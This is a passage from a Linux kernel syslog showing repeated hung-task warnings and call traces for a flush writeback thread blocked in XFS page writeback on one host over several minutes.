__lock_page+0x70/0x70 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392523] [] schedule+0x3f/0x60 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392526] [] io_schedule+0x8f/0xd0 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392528] [] sleep_on_page+0xe/0x20 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392536] [] __wait_on_bit_lock+0x5a/0xc0 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392539] [] __lock_page+0x67/0x70 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392544] [] ? autoremove_wake_function+0x40/0x40 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392551] [] write_cache_pages+0x3d4/0x460 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392554] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392556] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392559] [] generic_writepages+0x4a/0x70 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392621] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 4 19:39:25 ealxs00169 kernel: [34229278.392627] [] do_writepages+0x21/0x40 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392636] [] writeback_single_inode+0x180/0x430 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392639] [] writeback_sb_inodes+0x1b6/0x270 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392641] [] __writeback_inodes_wb+0x9e/0xd0 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392644] [] wb_writeback+0x27b/0x330 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392654] [] ? __switch_to+0xf5/0x360 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392658] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392661] [] wb_check_old_data_flush+0x9f/0xb0 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392664] [] wb_do_writeback+0x151/0x1d0 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392669] [] ? usleep_range+0x50/0x50 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392671] [] bdi_writeback_thread+0x83/0x2a0 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392674] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392676] [] kthread+0x8c/0xa0 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392682] [] kernel_thread_helper+0x4/0x10 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392685] [] ? flush_kthread_worker+0xa0/0xa0 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392687] [] ? gs_change+0x13/0x13 Mar 4 19:41:25 ealxs00169 kernel: [34229398.350796] INFO: task flush-8:16:20760 blocked for more than 120 seconds. Mar 4 19:41:25 ealxs00169 kernel: [34229398.350923] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 4 19:41:25 ealxs00169 kernel: [34229398.350987] flush-8:16 D 0000000000000000 0 20760 2 0x00000000 Mar 4 19:41:25 ealxs00169 kernel: [34229398.350991] ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000 Mar 4 19:41:25 ealxs00169 kernel: [34229398.350995] ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0 Mar 4 19:41:25 ealxs00169 kernel: [34229398.350998] ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351001] Call Trace: Mar 4 19:41:25 ealxs00169 kernel: [34229398.351017] [] ? __lock_page+0x70/0x70 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351022] [] schedule+0x3f/0x60 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351024] [] io_schedule+0x8f/0xd0 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351027] [] sleep_on_page+0xe/0x20 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351030] [] __wait_on_bit_lock+0x5a/0xc0 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351033] [] __lock_page+0x67/0x70 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351039] [] ? autoremove_wake_function+0x40/0x40 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351044] [] write_cache_pages+0x3d4/0x460 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351047] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351049] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351052] [] generic_writepages+0x4a/0x70 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351093] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 4 19:41:25 ealxs00169 kernel: [34229398.351096] [] do_writepages+0x21/0x40 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351101] [] writeback_single_inode+0x180/0x430 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351104] [] writeback_sb_inodes+0x1b6/0x270 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351106] [] __writeback_inodes_wb+0x9e/0xd0 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351109] [] wb_writeback+0x27b/0x330 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351113] [] ? __switch_to+0xf5/0x360 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351117] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351120] [] wb_check_old_data_flush+0x9f/0xb0 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351123] [] wb_do_writeback+0x151/0x1d0 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351128] [] ? usleep_range+0x50/0x50 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351130] [] bdi_writeback_thread+0x83/0x2a0 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351133] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351135] [] kthread+0x8c/0xa0 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351140] [] kernel_thread_helper+0x4/0x10 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351142] [] ? flush_kthread_worker+0xa0/0xa0 Mar 4 19:41:25 ealxs00169 kernel: [34229398.351145] [] ? gs_change+0x13/0x13 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317264] INFO: task flush-8:16:20760 blocked for more than 120 seconds. Mar 4 19:43:25 ealxs00169 kernel: [34229518.317367] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 4 19:43:25 ealxs00169 kernel: [34229518.317436] flush-8:16 D 0000000000000000 0 20760 2 0x00000000 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317443] ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317447] ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317450] ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317453] Call Trace: Mar 4 19:43:25 ealxs00169 kernel: [34229518.317467] [] ? __lock_page+0x70/0x70 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317472] [] schedule+0x3f/0x60 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317474] [] io_schedule+0x8f/0xd0 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317477] [] sleep_on_page+0xe/0x20 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317480] [] __wait_on_bit_lock+0x5a/0xc0 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317483] [] __lock_page+0x67/0x70 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317488] [] ? autoremove_wake_function+0x40/0x40 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317493] [] write_cache_pages+0x3d4/0x460 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317496] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317498] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317501] [] generic_writepages+0x4a/0x70 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317596] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 4 19:43:25 ealxs00169 kernel: [34229518.317600] [] do_writepages+0x21/0x40 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317606] [] writeback_single_inode+0x180/0x430 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317609] [] writeback_sb_inodes+0x1b6/0x270 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317611] [] __writeback_inodes_wb+0x9e/0xd0 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317614] [] wb_writeback+0x27b/0x330 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317620] [] ? __switch_to+0xf5/0x360 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317624] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317627] [] wb_check_old_data_flush+0x9f/0xb0 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317630] [] wb_do_writeback+0x151/0x1d0 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317648] [] ? usleep_range+0x50/0x50 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317651] [] bdi_writeback_thread+0x83/0x2a0 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317654] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317657] [] kthread+0x8c/0xa0 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317661] [] kernel_thread_helper+0x4/0x10 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317664] [] ? flush_kthread_worker+0xa0/0xa0 Mar 4 19:43:25 ealxs00169 kernel: [34229518.317666] [] ? gs_change+0x13/0x13 Mar 4 19:45:25 ealxs00169 kernel: [34229638.275799] INFO: task flush-8:16:20760 blocked for more than 120 seconds. Mar 4 19:45:25 ealxs00169 kernel: [34229638.275894] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 4 19:45:25 ealxs00169 kernel: [34229638.275957] flush-8:16 D 0000000000000000 0 20760 2 0x00000000 Mar 4 19:45:25 ealxs00169 kernel: [34229638.275962] ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000 Mar 4 19:45:25 ealxs00169 kernel: [34229638.275969] ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0 Mar 4 19:45:25 ealxs00169 kernel: [34229638.275971] ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080 Mar 4 19:45:25 ealxs00169 kernel: [34229638.275975] Call Trace: Mar 4 19:45:25 ealxs00169 kernel: [34229638.275993] [] ? __lock_page+0x70/0x70 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276006] [] schedule+0x3f/0x60 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276008] [] io_schedule+0x8f/0xd0 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276011] [] sleep_on_page+0xe/0x20 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276018] [] __wait_on_bit_lock+0x5a/0xc0 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276021] [] __lock_page+0x67/0x70 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276029] [] ? autoremove_wake_function+0x40/0x40 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276036] [] write_cache_pages+0x3d4/0x460 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276039] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276042] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276044] [] generic_writepages+0x4a/0x70 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276084] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 4 19:45:25 ealxs00169 kernel: [34229638.276090] [] do_writepages+0x21/0x40 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276099] [] writeback_single_inode+0x180/0x430 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276102] [] writeback_sb_inodes+0x1b6/0x270 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276105] [] __writeback_inodes_wb+0x9e/0xd0 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276107] [] wb_writeback+0x27b/0x330 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276117] [] ? __switch_to+0xf5/0x360 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276121] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276124] [] wb_check_old_data_flush+0x9f/0xb0 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276127] [] wb_do_writeback+0x151/0x1d0 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276132] [] ? usleep_range+0x50/0x50 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276135] [] bdi_writeback_thread+0x83/0x2a0 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276137] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276140] [] kthread+0x8c/0xa0 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276146] [] kernel_thread_helper+0x4/0x10 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276148] [] ? flush_kthread_worker+0xa0/0xa0 Mar 4 19:45:25 ealxs00169 kernel: [34229638.276151] [] ? gs_change+0x13/0x13 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246364] INFO: task flush-8:16:20760 blocked for more than 120 seconds. Mar 4 19:47:25 ealxs00169 kernel: [34229758.246439] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 4 19:47:25 ealxs00169 kernel: [34229758.246501] flush-8:16 D 0000000000000000 0 20760 2 0x00000000 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246505] ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246509] ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246512] ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246515] Call Trace: Mar 4 19:47:25 ealxs00169 kernel: [34229758.246527] [] ? __lock_page+0x70/0x70 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246532] [] schedule+0x3f/0x60 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246534] [] io_schedule+0x8f/0xd0 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246537] [] sleep_on_page+0xe/0x20 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246540] [] __wait_on_bit_lock+0x5a/0xc0 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246543] [] __lock_page+0x67/0x70 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246548] [] ? autoremove_wake_function+0x40/0x40 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246554] [] write_cache_pages+0x3d4/0x460 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246556] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246559] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246561] [] generic_writepages+0x4a/0x70 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246622] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 4 19:47:25 ealxs00169 kernel: [34229758.246626] [] do_writepages+0x21/0x40 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246631] [] writeback_single_inode+0x180/0x430 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246633] [] writeback_sb_inodes+0x1b6/0x270 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246636] [] __writeback_inodes_wb+0x9e/0xd0 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246638] [] wb_writeback+0x27b/0x330 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246644] [] ? __switch_to+0xf5/0x360 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246648] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246650] [] wb_check_old_data_flush+0x9f/0xb0 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246653] [] wb_do_writeback+0x151/0x1d0 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246658] [] ? usleep_range+0x50/0x50 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246661] [] bdi_writeback_thread+0x83/0x2a0 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246663] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246665] [] kthread+0x8c/0xa0 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246670] [] kernel_thread_helper+0x4/0x10 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246672] [] ? flush_kthread_worker+0xa0/0xa0 Mar 4 19:47:25 ealxs00169 kernel: [34229758.246675] [] ? gs_change+0x13/0x13 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204689] INFO: task flush-8:16:20760 blocked for more than 120 seconds. Mar 4 19:49:25 ealxs00169 kernel: [34229878.204764] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 4 19:49:25 ealxs00169 kernel: [34229878.204827] flush-8:16 D 0000000000000000 0 20760 2 0x00000000 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204834] ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204838] ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204841] ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204844] Call Trace: Mar 4 19:49:25 ealxs00169 kernel: [34229878.204865] [] ? __lock_page+0x70/0x70 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204870] [] schedule+0x3f/0x60 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204872] [] io_schedule+0x8f/0xd0 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204875] [] sleep_on_page+0xe/0x20 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204878] [] __wait_on_bit_lock+0x5a/0xc0 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204880] [] __lock_page+0x67/0x70 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204886] [] ? autoremove_wake_function+0x40/0x40 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204891] [] write_cache_pages+0x3d4/0x460 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204893] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204896] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204898] [] generic_writepages+0x4a/0x70 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204956] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 4 19:49:25 ealxs00169 kernel: [34229878.204960] [] do_writepages+0x21/0x40 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204965] [] writeback_single_inode+0x180/0x430 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204967] [] writeback_sb_inodes+0x1b6/0x270 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204970] [] __writeback_inodes_wb+0x9e/0xd0 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204972] [] wb_writeback+0x27b/0x330 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204976] [] ? __switch_to+0xf5/0x360 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204980] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204982] [] wb_check_old_data_flush+0x9f/0xb0 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204985] [] wb_do_writeback+0x151/0x1d0 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204990] [] ? usleep_range+0x50/0x50 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204993] [] bdi_writeback_thread+0x83/0x2a0 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204995] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 4 19:49:25 ealxs00169 kernel: [34229878.204997] [] kthread+0x8c/0xa0 Mar 4 19:49:25 ealxs00169 kernel: [34229878.205002] [] kernel_thread_helper+0x4/0x10 Mar 4 19:49:25 ealxs00169 kernel: [34229878.205004] [] ? flush_kthread_worker+0xa0/0xa0 Mar 4 19:49:25 ealxs00169 kernel: [34229878.205007] [] ? gs_change+0x13/0x13 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176219] INFO: task flush-8:16:20760 blocked for more than 120 seconds. Mar 4 19:51:25 ealxs00169 kernel: [34229998.176491] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 4 19:51:25 ealxs00169 kernel: [34229998.176614] flush-8:16 D 0000000000000000 0 20760 2 0x00000000 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176618] ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176622] ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176625] ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176628] Call Trace: Mar 4 19:51:25 ealxs00169 kernel: [34229998.176640] [] ? __lock_page+0x70/0x70 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176645] [] schedule+0x3f/0x60 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176647] [] io_schedule+0x8f/0xd0 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176649] [] sleep_on_page+0xe/0x20 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176652] [] __wait_on_bit_lock+0x5a/0xc0 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176655] [] __lock_page+0x67/0x70 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176661] [] ? autoremove_wake_function+0x40/0x40 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176666] [] write_cache_pages+0x3d4/0x460 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176668] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176671] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176673] [] generic_writepages+0x4a/0x70 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176746] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 4 19:51:25 ealxs00169 kernel: [34229998.176750] [] do_writepages+0x21/0x40 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176756] [] writeback_single_inode+0x180/0x430 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176759] [] writeback_sb_inodes+0x1b6/0x270 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176762] [] __writeback_inodes_wb+0x9e/0xd0 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176764] [] wb_writeback+0x27b/0x330 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176769] [] ? __switch_to+0xf5/0x360 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176773] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176776] [] wb_check_old_data_flush+0x9f/0xb0 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176779] [] wb_do_writeback+0x151/0x1d0 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176784] [] ? usleep_range+0x50/0x50 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176786] [] bdi_writeback_thread+0x83/0x2a0 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176789] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176791] [] kthread+0x8c/0xa0 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176796] [] kernel_thread_helper+0x4/0x10 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176798] [] ? flush_kthread_worker+0xa0/0xa0 Mar 4 19:51:25 ealxs00169 kernel: [34229998.176801] [] ? gs_change+0x13/0x13 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139419] INFO: task flush-8:16:20760 blocked for more than 120 seconds. Mar 4 19:53:25 ealxs00169 kernel: [34230118.139541] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 4 19:53:25 ealxs00169 kernel: [34230118.139635] flush-8:16 D 0000000000000000 0 20760 2 0x00000000 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139639] ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139643] ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139646] ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139649] Call Trace: Mar 4 19:53:25 ealxs00169 kernel: [34230118.139665] [] ? __lock_page+0x70/0x70 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139671] [] schedule+0x3f/0x60 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139673] [] io_schedule+0x8f/0xd0 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139676] [] sleep_on_page+0xe/0x20 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139679] [] __wait_on_bit_lock+0x5a/0xc0 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139681] [] __lock_page+0x67/0x70 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139687] [] ? autoremove_wake_function+0x40/0x40 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139693] [] write_cache_pages+0x3d4/0x460 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139695] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139698] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139700] [] generic_writepages+0x4a/0x70 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139759] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 4 19:53:25 ealxs00169 kernel: [34230118.139762] [] do_writepages+0x21/0x40 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139767] [] writeback_single_inode+0x180/0x430 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139770] [] writeback_sb_inodes+0x1b6/0x270 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139773] [] __writeback_inodes_wb+0x9e/0xd0 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139775] [] wb_writeback+0x27b/0x330 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139781] [] ? __switch_to+0xf5/0x360 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139785] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139787] [] wb_check_old_data_flush+0x9f/0xb0 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139791] [] wb_do_writeback+0x151/0x1d0 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139796] [] ? usleep_range+0x50/0x50 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139798] [] bdi_writeback_thread+0x83/0x2a0 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139801] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139803] [] kthread+0x8c/0xa0 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139808] [] kernel_thread_helper+0x4/0x10 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139810] [] ? flush_kthread_worker+0xa0/0xa0 Mar 4 19:53:25 ealxs00169 kernel: [34230118.139813] [] ? gs_change+0x13/0x13 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105607] INFO: task flush-8:16:20760 blocked for more than 120 seconds. Mar 4 19:55:25 ealxs00169 kernel: [34230238.105721] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 4 19:55:25 ealxs00169 kernel: [34230238.105812] flush-8:16 D 0000000000000000 0 20760 2 0x00000000 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105817] ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105823] ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105826] ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105829] Call Trace: Mar 4 19:55:25 ealxs00169 kernel: [34230238.105848] [] ? __lock_page+0x70/0x70 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105860] [] 